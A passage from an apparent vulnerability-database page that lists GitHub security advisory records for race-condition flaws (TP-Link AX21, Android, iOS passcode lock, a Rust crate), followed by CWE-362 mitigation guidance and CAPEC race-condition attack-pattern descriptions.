"details": "TP-Link AX1800 hotplugd Firewall Rule Race Condition Vulnerability. This vulnerability allows remote attackers to gain access to LAN-side services on affected installations of TP-Link Archer AX21 routers. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the hotplugd daemon. The issue results from firewall rule handling that allows an attacker access to resources that should be available to the LAN interface only. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the root user. Was ZDI-CAN-19664.",
"id": "GHSA-h688-4pc2-376f",
"modified": "2024-05-03T03:30:49Z",
"published": "2024-05-03T03:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27359"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-452"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H6FP-HFQ3-573Q
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:43In ActivityManagerService.attachApplication of ActivityManagerService, there is a possible race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: Android-9. Android ID: A-131105245.
{
"affected": [],
"aliases": [
"CVE-2019-2121"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-20T20:15:00Z",
"severity": "HIGH"
},
"details": "In ActivityManagerService.attachApplication of ActivityManagerService, there is a possible race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: Android-9. Android ID: A-131105245.",
"id": "GHSA-h6fp-hfq3-573q",
"modified": "2024-04-04T01:43:25Z",
"published": "2022-05-24T16:54:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-2121"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2019-08-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H6FQ-PXCW-673J
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54Race condition in the Passcode Lock feature in Apple iOS before 5.1 allows physically proximate attackers to bypass intended passcode requirements via a slide-to-dial gesture.
{
"affected": [],
"aliases": [
"CVE-2012-0644"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-08T22:55:00Z",
"severity": "MODERATE"
},
"details": "Race condition in the Passcode Lock feature in Apple iOS before 5.1 allows physically proximate attackers to bypass intended passcode requirements via a slide-to-dial gesture.",
"id": "GHSA-h6fq-pxcw-673j",
"modified": "2022-05-14T01:54:56Z",
"published": "2022-05-14T01:54:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0644"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2012/Mar/msg00001.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48288"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1026774"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H6GG-FVF5-QGWF
Vulnerability from github – Published: 2021-08-25 20:55 – Updated: 2021-08-24 18:04The Generator type is an iterable which uses a generator function that yields
values. In affected versions of the crate, the provided function yielding values
had no Send bounds despite the Generator itself implementing Send.
The generator function lacking a Send bound means that types that are
dangerous to send across threads such as Rc could be sent as part of a
generator, potentially leading to data races.
This flaw was fixed in commit f7d120a3b
by enforcing that the generator function be bound by Send.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "generator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-18T21:35:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The `Generator` type is an iterable which uses a generator function that yields\nvalues. In affected versions of the crate, the provided function yielding values\nhad no `Send` bounds despite the `Generator` itself implementing `Send`.\n\nThe generator function lacking a `Send` bound means that types that are\ndangerous to send across threads such as `Rc` could be sent as part of a\ngenerator, potentially leading to data races.\n\nThis flaw was fixed in commit [`f7d120a3b`](https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0)\nby enforcing that the generator function be bound by `Send`.\n",
"id": "GHSA-h6gg-fvf5-qgwf",
"modified": "2021-08-24T18:04:01Z",
"published": "2021-08-25T20:55:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Xudong-Huang/generator-rs/issues/27"
},
{
"type": "WEB",
"url": "https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0"
},
{
"type": "PACKAGE",
"url": "https://github.com/Xudong-Huang/generator-rs"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2020-0151.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Data races in generator",
"withdrawn": "2021-08-24T18:04:01Z"
}
Mitigation
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.